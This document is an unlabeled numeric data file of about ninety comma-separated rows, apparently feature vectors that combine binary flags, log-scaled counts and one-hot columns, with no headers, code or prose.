+0,0,0,0,0,0,0,0,0,0,0,10.4747,7.54486,18.7333,4.55388,0,5.13608,0.0719577,0.0259259,0,0.0150822,0.0650794,1.09861,0,0,0,1.09861,0,4.12713,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.36475,3.04452,29,4.23411,0,5.30372,0,0.15,0,0.103448,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.2106,2.99573,26.1579,3.89182,0,4.21933,0,0,0,0.183099,2,0,0,0,0,0,0,2.94444,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.59842,2.56495,22.4167,4.84419,0,4.81169,0,0.333333,0,0.0594796,0.333333,0,0,0,0,0,0,3.09104,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,6.05209,2.70805,30.2857,4.17439,0,4.68023,0.571429,0.0714286,0,0.0424528,0.357143,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,1,0,0,0,0,0,0,1,5.9108,2.48491,33.4545,4.31749,0,4.86151,0.181818,0.0909091,0,0.0108696,0.0909091,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.87774,2.30259,39.5556,4.38203,0,4.38958,0.333333,0,0,0.0337079,0,0,0,0,0,0,0,2.56495,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.69939,4.27667,31.0704,4.38203,0,5.41089,0.197183,0.197183,0,0.0607434,0.211268,0.693147,0,0,0,0.693147,0,4.09434,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.69211,4.38203,27.7215,4.35671,0,5.36882,0.202532,0.164557,0,0.0497717,0.291139,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.0677,6.67456,29.7952,4.51086,0,4.86501,0.283186,0.0809102,0,0.0553717,0.500632,0.693147,0,0,0,0.693147,0,4.23411,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.60282,5.3799,25.213,4.40672,0,5.19872,0.175926,0.0972222,0,0.0642674,0.462963,0,0,0,0,0,0,3.85015,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.65249,2.56495,23.6667,4.09434,0,4.90698,0,0.166667,0,0.126761,0.833333,0,0,0,0,0,0,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.18159,3.78419,30.5581,4.29046,0,4.91461,0.209302,0.232558,0,0.0136986,0,0,0,0,0,0,0,3.43399,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.10702,3.29584,17.2308,4.2485,0,5.09979,0,0.230769,0,0.0491071,0.153846,0,0,0,0,0,0,4.06044,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.04594,5.79909,25.7842,4.36945,0,5.158,0.155015,0.0516717,0,0.056348,0.364742,0,0,0,0,0,0,4.36945,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.84588,3.52636,28.4545,4.30407,0,4.90897,0.0606061,0.242424,0,0.0308839,0.030303,0,0,0,0,0,0,3.71357,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.24319,5.70044,34.6745,4.36945,0,4.93741,0.285235,0.110738,0,0.0455821,0.416107,0,0,0,0,0,0.693147,4.12713,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.10077,4.81218,27.0164,5.34711,0,5.116,0.057377,0.0737705,0,0.068568,0.622951,0,0,0,0,0,0,4.77068,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.30854,3.7612,35.5238,4.66344,0,5.09438,0.761905,0.119048,0,0.0435657,0.380952,0,0,0,0,0,0,3.4012,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.3799,2.19722,27,4.23411,0,5.03016,0.125,0,0,0.0509259,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,1,0,0,0,0,0,0,0,0,7.31854,3.89182,31.3958,4.93447,0,5.03001,0.0833333,0.1875,0,0.0404778,0.166667,1.09861,0,0,0,0.693147,0,3.95124,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,1,0,0,0,0,8.77153,5.48894,26.751,4.38203,0,5.14052,0.112033,0.103734,0,0.0679386,0.572614,0.693147,0,0,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.834,4.41884,30.7805,4.70048,0,4.95618,0.207317,0.109756,0,0.0681458,0.414634,1.09861,0,0,0,1.09861,0,4.63473,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.22621,3.98898,25.9245,4.38203,0,4.85989,0.415094,0.113208,0,0.0371179,0.301887,0,0,0,0,0,0,3.46574,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,10.1274,6.99668,22.9112,4.55388,0,5.14468,0.0934066,0.0760073,0,0.0770614,0.57967,0,0,0,0,0,0,3.93183,3.63759,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3.61092,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.39363,2.19722,27.375,4.23411,0,5.0146,0.125,0,0,0.0502283,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.68432,4.54329,23.3656,4.29046,0,5.52059,0.204301,0.0860215,0.00276116,0.066728,0.290323,0.693147,0,0,0,0.693147,0,3.78419,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.03139,4.81218,25.2049,4.36945,0,4.63796,0.106557,0.139344,0,0.0669919,0.45082,0,0,0,0,0,0,3.09104,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.43988,5.24175,24.6117,4.39445,0,5.08313,0.12766,0.148936,0,0.0680787,0.569149,0.693147,0.693147,0,0,0.693147,0,3.71357,1.09861,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.59337,3.95124,38.902,4.34381,0,4.98222,0.254902,0.235294,0,0.0126008,0.0980392,0.693147,0,0,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.63857,3.66356,20.0789,4.34381,0,4.67646,0,0.236842,0,0.0275229,0.0263158,0,0,0,0,0,0,2.77259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,1,0,0,0,0,7.92407,4.81218,22.6393,4.60517,0,4.85786,0.163934,0.122951,0,0.0492397,0.286885,0,0,0,0,0,0,3.89182,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.68891,4.44265,25.9881,4.35671,0,4.8695,0.0595238,0.22619,0,0.0316079,0,0,0,0,0,0,0,4.06044,1.60944,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.51323,2.3979,67.3,5.23111,0,5.23805,0,0.2,0,0.0208024,0,0,0,0,0,0,0,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,9.31578,5.84354,32.2994,4.83628,0,4.82903,0.151163,0.104651,0,0.0740707,0.607558,0,0,0,0,0,0,4.26268,1.79176,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,1,0,0,0,0,7.38461,4.49981,18.0899,4.85981,0,5.34533,0.123596,0.179775,0,0.0478261,0.393258,0,0,0,0,0,0,4.18965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.29157,2.94444,29.9444,4.29046,0,4.33998,0,0.111111,0,0.0556586,0,0,0,0,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.6896,3.09104,38.2381,4.30407,0,4.8563,0.714286,0.190476,0,0,0,0,0,0,0,0,0,3.17805,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.40489,3.91202,33.5306,4.33073,0,4.82528,0.346939,0.183673,0,0.0139988,0.122449,0,0,0,0,0,0,3.04452,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.03722,4.69135,28.6389,5.12396,0,5.25634,0.0740741,0.231481,0,0.0711284,0.462963,0,0,0,0,0,0,4.02535,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.35659,2.19722,26.375,4.23411,0,5.04019,0.125,0,0,0.0521327,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.76388,3.3673,30.8929,4.52179,0,4.99865,0.142857,0.0357143,0,0.0809249,1.14286,0,0,0,0,0,0,3.91202,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.41165,2.19722,27.875,4.06044,0,4.71867,0,0,0,0.0717489,0.5,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.28563,5.87493,30.369,4.59512,0,5.20339,0.48169,0.171831,0,0.00918282,0.0056338,0,0,0,0,0,0,4.36945,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.65157,3.3673,27.6071,4.23411,0,4.96024,0.142857,0.0357143,0,0.0905563,1.14286,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.70436,4.40672,27.3704,4.38203,0,5.01737,0.197531,0.123457,0,0.0518719,0.333333,0,0,0,0,0,0,3.29584,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.3249,6.64118,39.8458,4.68213,0,4.49314,0.0745098,0.130719,0,0.0268355,0.0183007,1.38629,1.09861,0,0,1.09861,0,4.62497,3.46574,2.07944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.6372,7.03791,36.6054,4.99721,0,4.7428,0.233743,0.072935,0,0.0580215,0.501757,0,0,0,0,0,0,4.89035,2.3979,0,0,0.693147,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,1.94591,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.38907,2.19722,27.25,4.23411,0,5.02149,0.125,0,0,0.0504587,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.25999,6.41999,17.1419,5.67332,0,5.10415,0.130506,0.050571,0,0.0668062,0.305057,0,0,0,0,0,0,3.7612,2.56495,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.14045,3.80666,28.6591,4.43082,0,4.23397,0.0681818,0.181818,0,0.0618557,0,0,0,0,0,0,0,3.91202,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,1,0,1,0,0,1,1,9.87622,6.48004,29.894,4.58497,0,4.93981,0.120054,0.105991,0,0.0469143,0.109063,1.60944,1.09861,0,0,1.60944,1.09861,4.52179,3.04452,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,7.99294,4.67283,27.9151,4.36945,0,4.76446,0.0646681,0.0943396,0,0.0679284,0.481132,0,1.09861,0,0,0,0,3.04452,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.38629,0,0.693147,0.693147,0,0,0.693147,0,0.693147,0,0.693147,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,5.41165,2.19722,27.875,4.06044,0,5.82793,0,0,0,0.0963082,4.61244,0,0,0,0,0,0,2.94444,0,0,0,2.07944,0.693147,1.09861,1,0.693147,0.693147,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0.693147,0,1,0,0,0 +1,0,1,1,1,0,1,0,1,0,0,6.36475,3.04452,29,4.23411,0,5.30372,0,0.15,0,0.103448,0.25,0,0,0,0,0,0.693147,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.38629,0.693147,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,1,6.98564,4.21951,16.1194,4.2485,0.128512,5.49137,0,0.0746269,0,0.0972222,0.447761,0,0,0,0,0,1.60944,8.11803,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,6.2106,2.99573,26.1579,3.89182,0.0803743,6.4488,0,0,0,0.183099,2,0,1.09861,0,0,0,0.693147,7.29146,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0.693147,0,1.38629,0,0.693147,1.09861,0,0,0,0,0.693147,0,0,0,1,0,0,0 +1,0,0,0,0,0,0,0,0,1,0,7.81521,4.72739,22.1161,4.55388,0.144146,5.84975,0.0540488,0.125,0,0.0789653,1.98238,0,0,0,0,0,1.38629,8.0624,0,0.693147,1.38629,2.19722,1.79176,0.693147,1,0.693147,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,0,0,0,1,0,0,1,0,9.25799,5.88888,29.1306,4.7185,0.0734008,5.61688,0.119745,0.0694444,0,0.0660818,0.516667,0,0,0,0,0,1.60944,6.67074,1.09861,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,1,7.10497,3.7612,28.9762,4.54329,0.252506,6.39105,0.0505878,0.166667,0,0.0451931,0.190476,0.693147,0,0,0,0.693147,1.38629,5.8337,0,1.09861,1.38629,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,7.11477,3.52636,37.2424,4.99043,0,5.25171,0.0976728,0.0909091,0,0.0211554,0.151515,0,0,1.09861,0,0,0,3.49651,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.38629,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,1,0,0,1,0,9.70644,6.11589,36.3319,4.67283,0.341515,6.38411,0.00833975,0.146018,0,0.0215564,0,0,0,0,0,0,1.60944,7.40372,3.21888,0,1.09861,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,1,0,0,0,0,0,1,9.67149,6.42811,25.6602,5.21494,0,5.07366,0.0165048,0.140777,0,0.0538529,0.360841,2.83321,0,0,0,1.94591,1.09861,4.69135,3.46574,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0.693147,0.693147,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,1,1,0,10.0739,6.70196,29.171,5.0689,0.254055,6.16278,0.12198,0.0774908,0,0.0496711,0.309963,2.83321,0,1.09861,0.693147,2.19722,0.693147,8.02969,2.56495,0.693147,1.09861,0,0,0,0,0,0,0,1.09861,1.09861,1.38629,0,0,0,0.693147,1.09861,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,1,10.1128,6.85118,26.1176,5.20949,0,5.87289,0.0105521,0.147246,0,0.0879686,3.33559,3.43399,0,0,0,2.3979,1.09861,4.60517,3.43399,0,0,2.07944,1.94591,0.693147,1,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,1,1,0,0,0,0,0,7.88608,4.49981,29.8764,4.41884,0,4.88513,0.111896,0.101124,0,0.0718315,0.797753,0,0.693147,0,0,0,0,3.73767,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,0.693147,0,0,0,0.693147,0.693147,0,0.693147,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,9.16293,5.79909,28.9848,4.44265,0,6.07305,0.0175999,0.176292,0,0.113023,2.58349,0,0,0,0,0,0,4.35671,2.48491,0,0,1.79176,1.09861,0.693147,1,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,1,1,7.1025,3.7612,28.9048,4.54329,0.202232,5.89923,0.0419695,0.166667,0,0.0453048,0.190476,0.693147,0,0.693147,0,0.693147,1.38629,7.51064,0,1.60944,1.38629,0,0,0,0,0,0,0,0,1.09861,0,0,1.09861,0,1.38629,1.09861,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,5.41165,2.19722,27.875,4.06044,0,4.76036,0,0,0,0.0717489,0.5,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0.693147,1.38629,0,0,0,0.693147,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,7.70571,3.80666,50.4545,5.23111,0.186375,5.74871,0,0.25,0,0.0135135,0,0,0,0,0,0,1.38629,7.38873,0,1.38629,1.09861,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +1,1,1,0,0,0,1,0,0,1,1,10.0656,6.77422,26.9096,5.1358,0.262976,6.22868,0.0318641,0.169336,0,0.0920532,3.13868,2.70805,0.693147,0,0,1.94591,0.693147,6.15288,1.79176,0,1.09861,1.60944,1.94591,1.09861,1,1.09861,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,8.74082,5.23111,33.6129,4.48864,0,4.50268,0.00514198,0.172043,0,0.059501,0,0,0,1.09861,0.693147,0,0,3.82864,2.63906,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,6.35437,3.04452,28.7,4.23411,0,5.29325,0,0.15,0,0.10453,0.25,0,0,0,0,0,0.693147,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,0,0,0,1,0,6.2106,2.99573,26.1579,3.89182,0.324526,6.0036,0,0,0,0.183099,2,0,0,0,0,0,1.60944,7.73978,0.693147,1.60944,1.38629,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1.09861,1.09861,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,8.95222,5.56452,29.7077,4.46591,0.259547,5.71602,0.00967574,0.161538,0,0.0491973,0.00384615,0.693147,0.693147,0,0,0.693147,1.38629,5.98887,2.3979,1.60944,1.38629,0.693147,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,0,1,0,6.37843,3.29584,22.6154,4.30407,0,5.82342,0.0278171,0.0384615,0,0.0674016,3.14797,0,0,0.693147,0,0,0.693147,2.83321,0,0,0,1.94591,0.693147,1.09861,1,0.693147,1.09861,0.693147,0,0,0,0,0.693147,0,0.693147,1.09861,0,1.09861,0,0,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,8.07652,4.76217,27.7328,5.34711,0,5.13856,0.00620226,0.0775862,0,0.0668325,0.62931,0,0,1.09861,0,0,0,4.77068,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,0.693147,0,0.693147,0,0,0,1.60944,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,7.22621,3.98898,25.9245,4.38203,0.272443,5.67328,0.100175,0.113208,0,0.0371179,0.301887,0,0,0,0,0,1.09861,5.6994,0,1.38629,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,1,1,0,0,1,0,10.4774,7.12044,28.7241,4.89035,0,5.41586,0.0235993,0.109223,0,0.111765,0.466019,2.56495,0,0,0,1.38629,1.09861,4.54329,3.58352,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,5.96101,2.83321,24.1875,4.17439,0,5.30153,0,0.125,0,0.0387597,0.3125,0,0,0.693147,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,8.60043,5.24702,28.746,5.01064,0,5.0136,0.0173511,0.0952381,0,0.0438064,0.470899,1.09861,0.693147,0,0,1.09861,0,3.89182,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,0,0,0,0,0,1.09861,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,7.22621,3.98898,25.9245,4.38203,0,4.85989,0.204975,0.113208,0,0.0371179,0.301887,0,0,0,0,0,0,3.46574,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,0,0,0,0,0,0,0,0,0,8.591,5.26269,28.0312,4.43082,0,5.73162,0.0229145,0.0729167,0,0.0716871,2.54914,1.09861,0,0,0,1.09861,0,4.06044,0.693147,0,0,0.693147,1.94591,0.693147,1,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.60043,5.24702,28.746,5.01064,0,5.35671,0.0541716,0.0952381,0,0.0745669,2.08229,1.09861,0.693147,1.09861,0,1.09861,0,3.89182,0,0,0,1.09861,1.79176,0.693147,1,0.693147,0.693147,1.09861,0,0,0,0.693147,1.38629,0,0.693147,1.09861,0,0.693147,0,0,0,1.60944,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,10.6372,7.03791,36.6054,4.99721,0,5.358,0.137255,0.072935,0,0.0644576,3.05629,0,1.09861,0.693147,1.09861,0,0,4.89035,2.3979,0,0,0.693147,1.09861,1.09861,1,1.09861,0.693147,0.693147,0.693147,1.09861,0,1.09861,0,1.09861,1.09861,1.09861,0,0,0,1.09861,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,7.09838,3.8712,25.7234,4.41884,0,4.95676,0.0315184,0.170213,0,0.0578991,0.319149,0.693147,0,1.09861,0,0.693147,0,4.07754,1.09861,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,0,1.09861,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,7.3072,4.12713,24.4262,4.85203,0,6.23529,0.107459,0.131148,0,0.131339,1.59867,0,0,0,0,0,0,3.8712,0,0,0,1.38629,1.38629,1.09861,1,0.693147,1.09861,0.693147,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,1,0,1,7.09838,3.8712,25.7234,4.41884,0,4.95676,0.0335356,0.170213,0,0.0578991,0.319149,0.693147,0,1.09861,0,0.693147,0,4.07754,1.09861,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,0,1.38629,0.693147,0.693147,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,0,0,0,0,0,7.69211,4.38203,27.7215,4.35671,0,5.36882,0.0802829,0.164557,0,0.0497717,0.291139,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0.693147,0.693147,0,1.09861,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,5.4848,2.19722,30,4.23411,0,5.09321,0.0193664,0,0,0.0458333,0.125,0,0,1.09861,0.693147,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,0,1,0,0,1,0,0,1,1,12.7161,9.34461,29.1232,5.0876,0,5.00118,0.0334095,0.113764,0,0.047614,0.497552,2.48491,2.07944,0,0,1.79176,0.693147,4.83628,4.89035,0,0,0,1.38629,0,0,0,0,0,0,2.83321,0,0,0,0,0,0,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,0,0,0,0,1,0,0,0,0,7.42952,4.14313,27.1613,4.48864,0,4.67478,0.0309067,0.290323,0,0.0332542,0,0,0,1.09861,0.693147,0,0,3.93183,1.09861,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,1,0,0,0,0,1,9.41353,5.86079,35.0057,5.3845,0,5.36643,0.0636039,0.0857143,0,0.0864349,0.602857,2.3979,0.693147,0,0,1.60944,0,5.16479,2.77259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.94591,0,0,1.09861,0.693147,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,10.0163,6.31355,40.6316,4.81218,0,5.46483,0.0270489,0.145191,8.93336e-05,0.0708519,3.94324,2.30259,2.30259,0,0,1.94591,0.693147,4.51086,2.89037,0,0,1.79176,1.94591,0.693147,1,1.09861,0.693147,0.693147,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0 